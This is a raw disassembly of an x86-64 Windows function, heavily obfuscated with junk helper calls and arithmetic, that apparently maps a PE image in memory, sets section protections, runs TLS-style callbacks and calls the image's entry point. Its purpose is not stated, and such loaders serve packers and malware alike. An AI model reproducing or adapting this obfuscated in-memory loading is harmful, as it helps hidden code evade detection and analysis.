mov rdx, qword [rsp + 0x80]
xor ecx, ecx
mov r8, rdx
call fcn.1400057e0
mov rax, qword [rsp + 0x80]
mov ecx, 0xae
mov edx, 0x91
mov r8d, 0xd6
call fcn.1400057e0
mov ecx, 0xff
call fcn.1400057e0
mov rdx, qword [rsp + 0x80]
mov ecx, 0x2b7b
call fcn.1400057e0
mov rdx, qword [rsp + 0x80]
mov ecx, 0x4d
mov r8, rdx
call fcn.1400057e0
mov ecx, 0xff
mov edx, 0xf516ee
call fcn.1400057e0
mov rdx, qword [rsp + 0x80]
mov ecx, 0x3161
call fcn.1400057e0
mov rdx, qword [rsp + 0x80]
movabs rcx, 0x473ef74b00000000
mov r8, rdx
call fcn.1400057e0
mov edx, 0x59
xor ecx, ecx
call fcn.1400057e0
movabs rcx, 0xffffffff00000000
call fcn.1400057e0
and rax, qword [rsp + 0x80]
mov qword [rsp + 0x2d8], rax
mov rax, qword [rsp + 0xd8]
movzx esi, word [rax + 6]
mov r8, qword [rsp + 0x80]
mov ecx, 1
mov edx, 0x89
call fcn.1400057e0
mov rdx, qword [rsp + 0x80]
xor ecx, ecx
call fcn.1400057e0
cmp si, ax
sete byte [rsp + 0x5d]
mov rax, qword [rsp + 0xd8]
mov qword [rsp + 0x1e0], rax
cmp byte [rsp + 0x5d], 0
je 0x1400040e8
mov rax, qword [rsp + 0x1e0]
mov qword [rsp + 0x170], rax
mov rax, qword [rsp + 0xc0]
mov rax, qword [rax]
mov qword [rsp + 0x2e0], rax
mov rax, qword [rsp + 0x170]
mov eax, dword [rax + 0xd0]
mov dword [rsp + 0x64], eax
mov edx, dword [rsp + 0x64]
mov ecx, 0xffffffff
mov r8d, edx
call fcn.1400057e0
mov rsi, rax
xor esi, dword [rsp + 0x64]
mov ecx, 0x7afafa69
mov edx, 0x655261
mov r8d, 0x48
call fcn.1400057e0
mov rdi, rax
or edi, esi
mov ecx, 0xa061440
mov edx, 0xd6
call fcn.1400057e0
mov rsi, rax
and esi, edi
mov ecx, 0x1050504
call fcn.1400057e0
mov rdi, rax
and edi, dword [rsp + 0x64]
or edi, 0x1010104
add edi, esi
mov ecx, 0xb071544
mov edx, 0xb6
call fcn.1400057e0
xor eax, edi
mov ecx, dword [rsp + 0x64]
cmp ecx, eax
sete byte [rsp + 0x5f]
cmp byte [rsp + 0x5f], 0
mov rax, qword [rsp + 0x170]
mov qword [rsp + 0x128], rax
jne 0x14000404a
mov esi, dword [rsp + 0x64]
mov rax, qword [rsp + 0x2e0]
mov rax, qword [rax + rsi + 0x18]
mov qword [rsp + 0x2e8], rax
movzx eax, byte [rsp + 0x5f]
mov ecx, 0xffffffff
mov rdx, rsi
call fcn.1400057e0
mov eax, dword [rsp + 0x64]
mov eax, dword [rsp + 0x64]
mov ecx, 0xffffffff
mov edx, 0x34
call fcn.1400057e0
mov ecx, 0xfffffffd
mov rdx, rsi
call fcn.1400057e0
mov ecx, 0xffffffff
mov rdx, rsi
call fcn.1400057e0
mov ecx, 2
mov rdx, rsi
mov r8, rsi
call fcn.1400057e0
mov eax, dword [rsp + 0x64]
mov eax, dword [rsp + 0x64]
mov edx, 0xb2cc49
xor ecx, ecx
call fcn.1400057e0
mov rcx, qword [rsp + 0x2e8]
mov rdx, qword [rsp + 0x170]
mov qword [rsp + 0x128], rdx
cmp rcx, rax
je 0x14000404a
mov rax, qword [rsp + 0x2e8]
mov rcx, qword [rax]
mov qword [rsp + 0x1d8], rcx
mov qword [rsp + 0x1d0], rax
mov rax, qword [rsp + 0x170]
mov qword [rsp + 0x128], rax
test rcx, rcx
je 0x14000404a
movabs r14, 0x15e74b815ea14d65
movabs r15, 0xea18b47ea15eb29c
nop word [rax + rax]
mov rsi, qword [rsp + 0x1d0]
mov rdi, qword [rsp + 0x1d8]
mov rcx, r14
call fcn.1400057e0
mov rbx, rax
xor ecx, ecx
call fcn.1400057e0
add rbx, rax
mov rcx, r15
call fcn.1400057e0
mov rbp, rax
mov edx, 0xda
xor ecx, ecx
mov r8, rbx
call fcn.1400057e0
add ebp, eax
add ebp, ebx
mov rcx, rbp
mov rdx, rbx
call fcn.1400057e0
mov rcx, qword [rsp + 0x2e0]
mov edx, eax
xor r8d, r8d
call rdi
mov rax, qword [rsi + 8]
add rsi, 8
mov qword [rsp + 0x1d8], rax
mov qword [rsp + 0x1d0], rsi
test rax, rax
jne 0x140003fc0
mov rax, qword [rsp + 0x40]
mov rax, qword [rax]
mov qword [rsp + 0x128], rax
mov rax, qword [rsp + 0x128]
mov eax, dword [rax + 0x28]
mov dword [rsp + 0x6c], eax
mov ecx, 0xffffffff
mov edx, 0x8e5c8f
call fcn.1400057e0
mov eax, dword [rsp + 0x6c]
mov ecx, 0x7afafa69
mov edx, 0x22
call fcn.1400057e0
mov ecx, 0xa061440
call fcn.1400057e0
mov ecx, 0x1050504
mov edx, 0xb6
call fcn.1400057e0
mov eax, dword [rsp + 0x6c]
mov edx, dword [rsp + 0x6c]
mov ecx, 0x1010104
call fcn.1400057e0
mov edx, dword [rsp + 0x6c]
mov ecx, 0xb071544
call fcn.1400057e0
mov edx, 0xc7f50f
xor ecx, ecx
call fcn.1400057e0
mov ecx, dword [rsp + 0x6c]
cmp ecx, eax
sete byte [rsp + 0x3a]
cmp byte [rsp + 0x3a], 0
je 0x140004e45
mov rax, qword [rsp + 0x40]
mov qword [rax + 0x48], 0
jmp 0x14000510b
movabs r12, 0x450218919f119190
movabs r15, 0x255ef891917a92b5
mov rbp, qword [rsp + 0xd8]
mov rax, qword [rsp + 0x80]
movzx eax, byte [rsp + 0x5d]
mov ecx, 1
mov rdx, rbp
mov r8, rbp
mov r9, rbp
call fcn.1400057e0
movabs rcx, 0x62768f7c04d4a086
mov r8d, 0xc6
mov rdx, rbp
call fcn.1400057e0
mov rdi, rax
xor ecx, ecx
call fcn.1400057e0
mov rsi, rax
add rsi, rdi
mov rax, qword [rsp + 0x80]
mov ecx, 0x54
mov rdx, rbp
call fcn.1400057e0
mov ecx, 0xff
mov edx, 0x49
mov r8d, 0x24
mov r9, rbp
call fcn.1400057e0
mov ecx, 0x5045
call fcn.1400057e0
mov ecx, 0x56
mov rdx, rbp
call fcn.1400057e0
mov ecx, 0xff
mov rdx, rbp
call fcn.1400057e0
mov ecx, 0x2b55
call fcn.1400057e0
movabs rcx, 0x9d897083fb2b5f92
mov edx, 0x91
mov r8d, 0xa927c4
call fcn.1400057e0
mov rdi, rax
mov edx, 0xd
mov r8d, 0x24
xor ecx, ecx
call fcn.1400057e0
xor rax, rdi
add rax, rsi
add rax, rbp
mov rcx, qword [rsp + 0xd8]
movzx ecx, word [rcx + 0x14]
add rcx, rax
mov rax, qword [rsp + 0xd8]
mov qword [rsp + 0x1f8], rax
mov qword [rsp + 0x1f0], rcx
mov dword [rsp + 0x104], 0
jmp 0x1400043ce
mov rax, qword [rsp + 0xe0]
mov r14d, dword [rax + 0x10]
mov rax, qword [rsp + 0xe0]
mov ebp, dword [rax + 8]
or rbp, qword [rsp + 0x2d8]
mov ecx, 0x6d
mov edx, 0x7f
call fcn.1400057e0
mov eax, dword [rsp + 0x2c]
mov ecx, 0xff
call fcn.1400057e0
mov ecx, 0x455
mov r8d, 0xf1
mov edx, r14d
call fcn.1400057e0
mov ecx, 0xbe
mov edx, 0x4e9051
call fcn.1400057e0
mov ecx, 0xff
mov edx, 0x24
mov r8d, r14d
mov r9d, r14d
call fcn.1400057e0
mov ecx, 0x69bb
call fcn.1400057e0
movabs rcx, 0x7209bfa0ad7c10df
call fcn.1400057e0
mov ecx, 0x7b
mov edx, r14d
call fcn.1400057e0
mov ecx, 0xff
mov edx, 0xa5390d
mov r8d, 0x92cdb1
call fcn.1400057e0
mov ecx, 0x6d3
mov edx, r14d
call fcn.1400057e0
mov ecx, 0x67
call fcn.1400057e0
mov ecx, 0xff
call fcn.1400057e0
mov ecx, 0x5fe7
call fcn.1400057e0
mov edx, 0x28
mov r8d, 0xd9
movabs rcx, 0x8df6405f5284af21
call fcn.1400057e0
xor ecx, ecx
mov edx, r14d
mov r8d, r14d
mov r9d, r14d
call fcn.1400057e0
mov rcx, r14
call fcn.1400057e0
mov rsi, rax
mov ecx, 0xc000
mov edx, 0x92
mov r8d, r14d
call fcn.1400057e0
mov rcx, rbp
mov rdx, rsi
mov r8d, eax
call qword [sym.imp.KERNEL32.dll_VirtualFree]
lea rcx, [r12 + 1]
mov edx, 0xf6
call fcn.1400057e0
mov rsi, rax
mov edx, 0xc6
mov r8d, 0xbf
xor ecx, ecx
call fcn.1400057e0
xor esi, eax
mov rcx, r12
call fcn.1400057e0
mov rdi, rax
xor ecx, ecx
call fcn.1400057e0
xor eax, edi
xor eax, esi
add eax, dword [rsp + 0x70]
mov rcx, qword [rsp + 0xe0]
add rcx, 0x28
mov rdx, qword [rsp + 0x40]
mov rdx, qword [rdx]
movzx ebp, word [rdx + 6]
mov qword [rsp + 0x1f8], rdx
mov qword [rsp + 0x1f0], rcx
mov dword [rsp + 0x104], eax
mov qword [rsp + 0x1e0], rdx
cmp eax, ebp
jae 0x140003e06
mov eax, dword [rsp + 0x104]
mov dword [rsp + 0x70], eax
mov rax, qword [rsp + 0x1f0]
mov qword [rsp + 0xe0], rax
mov rax, qword [rsp + 0x1f8]
mov qword [rsp + 0x310], rax
mov rax, qword [rsp + 0xe0]
mov eax, dword [rax + 0x24]
mov dword [rsp + 0x3c], eax
mov edx, dword [rsp + 0x70]
mov ecx, 0xffffffff
mov r8d, edx
call fcn.1400057e0
mov rsi, rax
xor esi, dword [rsp + 0x3c]
mov ecx, 0x7afafa69
call fcn.1400057e0
mov rdi, rax
or edi, esi
mov ecx, 0xa061440
mov edx, 0xeb6fbb
call fcn.1400057e0
mov rsi, rax
and esi, edi
mov ecx, 0x1050504
mov edx, 0x24
call fcn.1400057e0
mov rdi, rax
and edi, dword [rsp + 0x3c]
mov edx, dword [rsp + 0x70]
mov ecx, 0x1010104
call fcn.1400057e0
mov rbx, rax
or ebx, edi
add ebx, esi
mov ecx, 0xb071544
call fcn.1400057e0
mov rsi, rax
xor esi, ebx
add esi, r15d
mov eax, dword [rsp + 0x3c]
mov eax, dword [rsp + 0x3c]
mov eax, dword [rsp + 0x3c]
mov ecx, 1
mov edx, 0x68
call fcn.1400057e0
lea rcx, [r15 + 0x2000000]
call fcn.1400057e0
mov rdi, rax
mov edx, 0x5c8080
xor ecx, ecx
call fcn.1400057e0
xor edi, eax
xor edi, esi
and edi, dword [rsp + 0x3c]
mov dword [rsp + 0x2c], edi
mov eax, dword [rsp + 0x3c]
mov edx, dword [rsp + 0x70]
mov ecx, 0xff
mov r8d, 0x730582
call fcn.1400057e0
mov edx, dword [rsp + 0x70]
mov ecx, 0x2e5b
call fcn.1400057e0
mov edx, dword [rsp + 0x70]
mov ecx, 0x1a
call fcn.1400057e0
mov eax, dword [rsp + 0x2c]
mov r8d, dword [rsp + 0x70]
mov ecx, 0xff
mov edx, 0x6d
call fcn.1400057e0
mov edx, dword [rsp + 0x70]
mov ecx, 0xf0bb
mov r8d, edx
call fcn.1400057e0
xor ecx, ecx
call fcn.1400057e0
mov ecx, dword [rsp + 0x2c]
cmp ecx, eax
sete byte [rsp + 0x2b]
cmp byte [rsp + 0x2b], 0
je 0x140004220
movzx ebp, byte [rsp + 0x2b]
mov ecx, 0x4a
mov edx, ebp
call fcn.1400057e0
mov eax, dword [rsp + 0x2c]
mov ecx, 0xff
mov edx, 0xad
call fcn.1400057e0
mov ecx, 0x8a41
mov edx, ebp
call fcn.1400057e0
mov ecx, 0xd1
mov edx, 0x1daf9f
call fcn.1400057e0
mov rsi, rax
or esi, ebp
mov ecx, 0xff
mov edx, 0xc6
call fcn.1400057e0
mov rdi, rax
and edi, esi
imul edi, edi
mov ecx, 0xc91f
mov edx, 0xb6
call fcn.1400057e0
mov rbx, rax
imul ebx, edi
movabs r13, 0x4e101c34779585ef
lea rcx, [r13 + 1]
call fcn.1400057e0
mov r14, rax
xor ecx, ecx
call fcn.1400057e0
xor r14d, eax
mov ecx, 0xb9
mov edx, ebp
mov r8d, ebp
call fcn.1400057e0
mov rdi, rax
or edi, dword [rsp + 0x3c]
mov ecx, 0xff
mov edx, ebp
call fcn.1400057e0
mov rsi, rax
and esi, edi
imul esi, esi
mov ecx, 0x8699
mov edx, ebp
call fcn.1400057e0
mov rdi, rax
imul edi, esi
mov ecx, 0xb4
call fcn.1400057e0
mov rsi, rax
or esi, ebx
mov ecx, 0xff
call fcn.1400057e0
mov rbx, rax
and ebx, esi
imul ebx, ebx
mov ecx, 0x2627
mov r8d, 0x76
mov edx, ebp
call fcn.1400057e0
imul eax, ebx
mov r12, r15
xor r15d, r15d
cmp edi, eax
sete r15b
mov rcx, r13
call fcn.1400057e0
mov rsi, rax
xor ecx, ecx
mov edx, ebp
mov r8d, ebp
call fcn.1400057e0
xor esi, eax
xor esi, r14d
mov r14d, dword [rsp + 0x3c]
mov ecx, esi
shr r14, cl
mov eax, dword [rsp + 0x2c]
mov eax, dword [rsp + 0x2c]
mov eax, dword [rsp + 0x2c]
mov ecx, 1
mov edx, 0xd
mov r8d, 0x1f
call fcn.1400057e0
mov edx, 0x6d
xor ecx, ecx
call fcn.1400057e0
mov ecx, 0xffffffff
call fcn.1400057e0
mov ecx, 0xffffffff
mov edx, ebp
call fcn.1400057e0
mov ecx, 0xffffffff
call fcn.1400057e0
mov ecx, 2
call fcn.1400057e0
movabs rcx, 0xceb94e3d90444f32
call fcn.1400057e0
mov ecx, 0x1e
mov edx, ebp
call fcn.1400057e0
mov edi, dword [rsp + 0x3c]
mov ecx, eax
shr rdi, cl
mov esi, r15d
neg esi
mov eax, dword [rsp + 0x2c]
mov eax, dword [rsp + 0x2c]
mov eax, dword [rsp + 0x2c]
mov ecx, 1
mov edx, ebp
mov r8d, ebp
call fcn.1400057e0
movabs rcx, 0x3d6c2f3d553fd4d9
mov edx, ebp
mov r8d, ebp
call fcn.1400057e0
xor ecx, ecx
call fcn.1400057e0
mov edx, 0xcd
movabs rcx, 0x4940f9c5ccd36b69
call fcn.1400057e0
mov ecx, 1
mov edx, 0x3a
call fcn.1400057e0
and edi, eax
mov ecx, 0xffffffff
call fcn.1400057e0
mov ecx, 0xffffffff
mov edx, 0x90
call fcn.1400057e0
mov ecx, 0xfffffffd
mov edx, ebp
call fcn.1400057e0
mov ecx, 0xffffffff
mov edx, ebp
mov r8d, ebp
call fcn.1400057e0
mov ecx, 2
mov edx, 0x7049dd
call fcn.1400057e0
movabs rbx, 0x3ab98374c4ba044
lea rcx, [rbx + 0x15]
mov edx, ebp
call fcn.1400057e0
xor ecx, ecx
call fcn.1400057e0
mov ecx, 0xffffffff
mov edx, ebp
call fcn.1400057e0
mov eax, dword [rsp + 0x2c]
mov eax, dword [rsp + 0x2c]
mov ecx, 0xffffffff
mov r8d, 0x6b
mov edx, ebp
call fcn.1400057e0
mov ecx, 0xfffffffd
mov edx, ebp
call fcn.1400057e0
mov ecx, 0xffffffff
call fcn.1400057e0
mov ecx, 2
call fcn.1400057e0
mov eax, dword [rsp + 0x2c]
mov eax, dword [rsp + 0x2c]
mov rcx, rbx
mov edx, ebp
call fcn.1400057e0
xor ecx, ecx
mov edx, ebp
call fcn.1400057e0
mov ecx, 0x1d
call fcn.1400057e0
mov r13d, dword [rsp + 0x3c]
mov ecx, eax
shr r13d, cl
movzx eax, byte [rsp + 0x2b]
mov ecx, 0xb7
mov edx, ebp
mov r8d, ebp
call fcn.1400057e0
mov ecx, 0xff
mov edx, 0xc6
call fcn.1400057e0
mov ecx, 0x45ad
mov r8d, 0x4c473a
mov edx, ebp
call fcn.1400057e0
mov ecx, 0x64
mov r8d, 0x92
mov edx, ebp
mov r9d, ebp
call fcn.1400057e0
mov eax, dword [rsp + 0x2c]
mov ecx, 0xff
call fcn.1400057e0
mov ecx, 0xd8f5
mov edx, 0xdb
mov r9d, 0xa44555
mov r8d, ebp
call fcn.1400057e0
movabs rcx, 0xb6732508bf351d31
mov edx, ebp
call fcn.1400057e0
xor ecx, ecx
mov edx, ebp
mov r8d, ebp
mov r9d, ebp
call fcn.1400057e0
mov ecx, 0xff
mov edx, ebp
call fcn.1400057e0
mov ecx, 0xe323
mov edx, 0xcd
call fcn.1400057e0
mov ecx, 0x66
mov edx, ebp
mov r8d, ebp
call fcn.1400057e0
mov ecx, 0xff
mov edx, 0x6d
mov r8d, 0xdf
call fcn.1400057e0
mov ecx, 0x4ce7
mov r8d, 0x68
mov edx, ebp
call fcn.1400057e0
mov edx, 0x24
movabs rcx, 0xde0fa667c4bf1bd1
mov r8d, ebp
call fcn.1400057e0
mov ecx, 1
mov edx, ebp
call fcn.1400057e0
and eax, r13d
mov dword [rsp + 0xac], eax
mov eax, dword [rsp + 0xac]
mov qword [rsp + 0x1a8], rdi
mov rcx, qword [rsp + 0x1a8]
shl rax, 4
lea rdx, section..rdata
add rax, rdx
lea rax, [rax + rcx*8]
mov eax, dword [rax + r14*4]
mov dword [rsp + 0x98], eax
mov edi, dword [rsp + 0x2c]
sub edi, r15d
mov r15, r12
movabs r12, 0x450218919f119190
mov eax, dword [rsp + 0x2c]
xor eax, esi
sub edi, eax
and esi, dword [rsp + 0x2c]
mov ecx, 1
mov edx, 0x91
call fcn.1400057e0
mov ecx, eax
shl esi, cl
mov edx, 0xfbe867
movabs rcx, 0x78993f7e5177a95d
call fcn.1400057e0
xor edi, eax
xor edi, esi
mov ecx, 0xffffffff
mov edx, 0x6fb74b
call fcn.1400057e0
mov ecx, 0xffffffff
mov edx, ebp
call fcn.1400057e0
mov ecx, 0xfffffffd
mov edx, ebp
mov r8d, ebp
call fcn.1400057e0
mov ecx, 0xffffffff
mov edx, 0xa46e2e
call fcn.1400057e0
mov ecx, 2
mov edx, ebp
call fcn.1400057e0
mov r8d, 0xb4
movabs rcx, 0x399908ed0e352245
mov edx, ebp
call fcn.1400057e0
mov rsi, rax
xor ecx, ecx
mov edx, ebp
call fcn.1400057e0
xor esi, eax
imul esi, edi
mov eax, dword [rsp + 0x3c]
mov ecx, esi
shr eax, cl
mov dword [rsp + 0x9c], eax
mov ecx, 1
mov edx, 0x46
call fcn.1400057e0
mov edx, 0x3080d8
movabs rsi, 0x574adaf04471bd3c
mov rcx, rsi
call fcn.1400057e0
mov ecx, 1
call fcn.1400057e0
lea rcx, [rsi + 0x200]
mov edx, 0x785d1d
mov r8d, ebp
call fcn.1400057e0
mov edx, 0x1b
xor ecx, ecx
call fcn.1400057e0
mov ecx, 0x200
mov edx, 0xd
call fcn.1400057e0
and eax, dword [rsp + 0x9c]
or eax, dword [rsp + 0x98]
mov dword [rsp + 0x120], eax
mov rax, qword [rsp + 0xe0]
mov esi, dword [rax + 0x10]
xor ecx, ecx
mov edx, ebp
call fcn.1400057e0
cmp esi, eax
sete byte [rsp + 0x5e]
movzx eax, byte [rsp + 0x5e]
mov dword [rsp + 0x100], esi
cmp al, 1
jne 0x140004df1
mov rbp, qword [rsp + 0x1a8]
mov ecx, 0x33
mov edx, 0xb4
call fcn.1400057e0
mov eax, dword [rsp + 0x98]
mov ecx, 0xff
mov r8d, 0xc6
mov edx, ebp
call fcn.1400057e0
mov ecx, 0x368b
call fcn.1400057e0
mov ecx, 0xdd
mov edx, ebp
call fcn.1400057e0
mov ecx, 0xff
mov edx, ebp
call fcn.1400057e0
mov ecx, 0xea4d
mov r8d, 0xbbffdc
mov edx, ebp
call fcn.1400057e0
movabs rsi, 0x687685c57df5cc96
lea rcx, [rsi + 0x40]
call fcn.1400057e0
mov edx, 0x47288f
xor ecx, ecx
call fcn.1400057e0
mov eax, dword [rsp + 0xac]
mov eax, dword [rsp + 0x9c]
mov eax, dword [rsp + 0xac]
mov eax, dword [rsp + 0x9c]
mov eax, dword [rsp + 0xac]
mov eax, dword [rsp + 0x9c]
mov ecx, 1
mov edx, 0x5f
call fcn.1400057e0
mov rcx, rsi
mov edx, ebp
call fcn.1400057e0
mov edx, 0x714fe4
xor ecx, ecx
call fcn.1400057e0
mov ecx, 0x40
mov edx, ebp
call fcn.1400057e0
mov rsi, rax
and esi, dword [rsp + 0x3c]
movzx eax, byte [rsp + 0x5e]
mov ecx, 0xffffffff
call fcn.1400057e0
mov ecx, 0xffffffff
call fcn.1400057e0
mov ecx, 0xfffffffd
mov edx, ebp
call fcn.1400057e0
mov ecx, 0xffffffff
call fcn.1400057e0
mov ecx, 2
mov edx, 0x40
mov r8d, ebp
mov r9d, ebp
call fcn.1400057e0
xor ecx, ecx
mov edx, ebp
call fcn.1400057e0
cmp esi, eax
jne 0x140004d77
mov rbp, qword [rsp + 0x1a8]
mov esi, dword [rsp + 0x98]
add esi, ebp
mov eax, dword [rsp + 0x98]
xor eax, ebp
sub esi, eax
mov edi, dword [rsp + 0x98]
and edi, ebp
mov ecx, 1
mov edx, 0x7f
mov r8d, 0xff
call fcn.1400057e0
mov ecx, eax
shl edi, cl
movabs rcx, 0x6be1ea779297188
mov edx, ebp
call fcn.1400057e0
mov r14, rax
xor r14d, esi
xor r14d, edi
movzx esi, byte [rsp + 0x2b]
mov ecx, 0x6b
mov edx, ebp
call fcn.1400057e0
mov rdi, rax
or edi, dword [rsp + 0x9c]
mov ecx, 0xff
mov edx, 0xdb
mov r8d, ebp
call fcn.1400057e0
mov rbx, rax
and ebx, edi
imul ebx, ebx
mov ecx, 0x8d23
mov edx, 0x658a06
call fcn.1400057e0
mov rdi, rax
imul edi, ebx
mov ecx, 0x91
call fcn.1400057e0
mov rbx, rax
or ebx, esi
mov ecx, 0xff
call fcn.1400057e0
mov rsi, rax
and esi, ebx
imul esi, esi
mov ecx, 0xd12f
mov edx, ebp
mov r8d, ebp
call fcn.1400057e0
imul eax, esi
xor esi, esi
cmp edi, eax
sete sil
movabs rcx, 0xf941e15886d68ef8
mov edx, ebp
mov r8d, ebp
call fcn.1400057e0
mov rbx, rax
sub ebx, esi
add ebx, r14d
and ebx, dword [rsp + 0x3c]
mov ecx, 0x50
mov edx, ebp
mov r8d, ebp
call fcn.1400057e0
mov ecx, 0xff
mov edx, 0xbd241a
call fcn.1400057e0
mov ecx, 0x3b9
mov edx, ebp
call fcn.1400057e0
mov ecx, 0xb3
mov edx, ebp
call fcn.1400057e0
mov eax, dword [rsp + 0x120]
mov ecx, 0xff
mov edx, ebp
call fcn.1400057e0
mov ecx, 0x9881
mov edx, 0x90
call fcn.1400057e0
xor ecx, ecx
call fcn.1400057e0
cmp ebx, eax
je 0x14000434f
mov rax, qword [rsp + 0x310]
add rax, 0x24
jmp 0x140004d83
mov rax, qword [rsp + 0x310]
add rax, 0x20
mov qword [rsp + 0x1e8], rax
mov rax, qword [rsp + 0x1e8]
mov esi, dword [rax]
mov ecx, 0xffffffff
mov edx, esi
xor r8d, r8d
call fcn.1400057e0
mov ecx, 0x7afafa69
call fcn.1400057e0
mov ecx, 0xa061440
mov edx, 0xe4
call fcn.1400057e0
mov ecx, 0x1050504
call fcn.1400057e0
mov ecx, 0x1010104
call fcn.1400057e0
mov ecx, 0xb071544
call fcn.1400057e0
xor ecx, ecx
call fcn.1400057e0
mov dword [rsp + 0x100], esi
cmp esi, eax
je 0x14000434f
mov esi, dword [rsp + 0x100]
mov rbp, qword [0x1400101d8]
mov rax, qword [rsp + 0xe0]
mov edi, dword [rax + 8]
or rdi, qword [rsp + 0x2d8]
mov rcx, rsi
mov edx, esi
call fcn.1400057e0
mov rbx, rax
mov ecx, dword [rsp + 0x120]
mov edx, esi
call fcn.1400057e0
mov rcx, rdi
mov rdx, rbx
mov r8d, eax
lea r9, [rsp + 0x344]
call rbp
jmp 0x14000434f
mov rax, qword [rsp + 0x290]
mov eax, dword [rax]
mov dword [rsp + 0x7c], eax
mov ecx, 0x31
mov edx, 0xd9
call fcn.1400057e0
mov eax, dword [rsp + 0x6c]
mov edx, dword [rsp + 0x7c]
mov ecx, 0xff
call fcn.1400057e0
mov edx, dword [rsp + 0x7c]
mov ecx, 0x5dd7
call fcn.1400057e0
mov edx, dword [rsp + 0x7c]
mov ecx, 0x75
mov r9d, 0x28
mov r8d, edx
call fcn.1400057e0
mov eax, dword [rsp + 0x7c]
mov ecx, 0xff
call fcn.1400057e0
mov edx, dword [rsp + 0x7c]
mov ecx, 0xf241
call fcn.1400057e0
xor ecx, ecx
call fcn.1400057e0
mov ecx, dword [rsp + 0x7c]
cmp ecx, eax
sete byte [rsp + 0x3b]
mov eax, dword [rsp + 0x6c]
mov qword [rsp + 0x1b0], rax
mov rax, qword [rsp + 0x1b0]
add rax, qword [rsp + 0xb8]
mov qword [rsp + 0x2f0], rax
cmp byte [rsp + 0x3b], 0
je 0x140004f08
mov rax, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x2f0]
mov qword [rax + 0x48], rcx
jmp 0x14000510b
movzx esi, byte [rsp + 0x3a]
movzx eax, byte [rsp + 0x3b]
mov ecx, 1
call fcn.1400057e0
movabs rcx, 0x3af91141c3cf4612
mov edx, 0x6fcf5f
call fcn.1400057e0
mov edx, 0x64
xor ecx, ecx
call fcn.1400057e0
movzx eax, byte [rsp + 0x3b]
mov rax, qword [rsp + 0x1b0]
mov ecx, 0x31
mov edx, esi
call fcn.1400057e0
mov ecx, 0xff
call fcn.1400057e0
mov ecx, 0x8f5
mov edx, esi
mov r8d, esi
call fcn.1400057e0
mov ecx, 0x98
mov edx, esi
mov r8d, esi
call fcn.1400057e0
mov ecx, 0xff
call fcn.1400057e0
mov ecx, 0x38ff
mov edx, esi
call fcn.1400057e0
movabs rcx, 0xc506eebe3c30b9ef
mov edx, 0x16
mov r8d, 0xe4024a
call fcn.1400057e0
mov ecx, 1
call fcn.1400057e0
mov rbp, qword [rsp + 0x2f0]
mov rcx, qword [rsp + 0xb8]
mov edx, eax
mov r8, qword [rsp + 0x3b0]
call rbp
mov dword [rsp + 0xa0], eax
movzx eax, byte [rsp + 0x3a]
mov ecx, 1
mov edx, 0xaa9084
call fcn.1400057e0
xor ecx, ecx
call fcn.1400057e0
mov ecx, dword [rsp + 0xa0]
cmp ecx, eax
je 0x140005137
mov rsi, qword [rsp + 0x1b0]
mov ecx, 0xffffffff
mov edx, esi
mov r8d, esi
call fcn.1400057e0
mov eax, dword [rsp + 0xa0]
mov eax, dword [rsp + 0xa0]
mov ecx, 0xffffffff
mov edx, 0xa8
mov r8d, 0xd2
call fcn.1400057e0
mov ecx, 0xfffffffd
mov edx, esi
call fcn.1400057e0
mov ecx, 0xffffffff
mov edx, esi
call fcn.1400057e0
mov eax, dword [rsp + 0xa0]
mov ecx, 2
mov edx, esi
call fcn.1400057e0
mov eax, dword [rsp + 0xa0]
movabs rcx, 0x5a8435bdcb74fb32
call fcn.1400057e0
xor ecx, ecx
mov edx, esi
call fcn.1400057e0
mov ecx, 0x14
mov edx, esi
mov r8d, esi
call fcn.1400057e0
mov eax, dword [rsp + 0x7c]
mov ecx, 0xff
mov edx, esi
mov r8d, esi
call fcn.1400057e0
mov ecx, 0x4bbb
call fcn.1400057e0
mov ecx, 0x9e
call fcn.1400057e0
mov eax, dword [rsp + 0x6c]
mov ecx, 0xff
call fcn.1400057e0
mov ecx, 0x577
mov edx, esi
call fcn.1400057e0
movabs rcx, 0xa57bca42348b04cf
mov edx, esi
call fcn.1400057e0
xor ecx, ecx
mov edx, esi
mov r8d, esi
call fcn.1400057e0
mov ecx, 1
mov edx, esi
call fcn.1400057e0
mov rcx, qword [rsp + 0x328]
mov dword [rcx], eax
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0xb0], rax
jmp 0x14000514d
mov rax, qword [rsp + 0x2a0]
mov rcx, qword [rsp + 0xe8]
mov rdx, qword [rcx]
mov rcx, qword [rsp + 0xf0]
call qword [rax]
mov rcx, qword [rsp + 0x40]
call fcn.1400051a0
mov qword [rsp + 0xb0], 0
mov rax, qword [rsp + 0xb0]
add rsp, 0x348
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret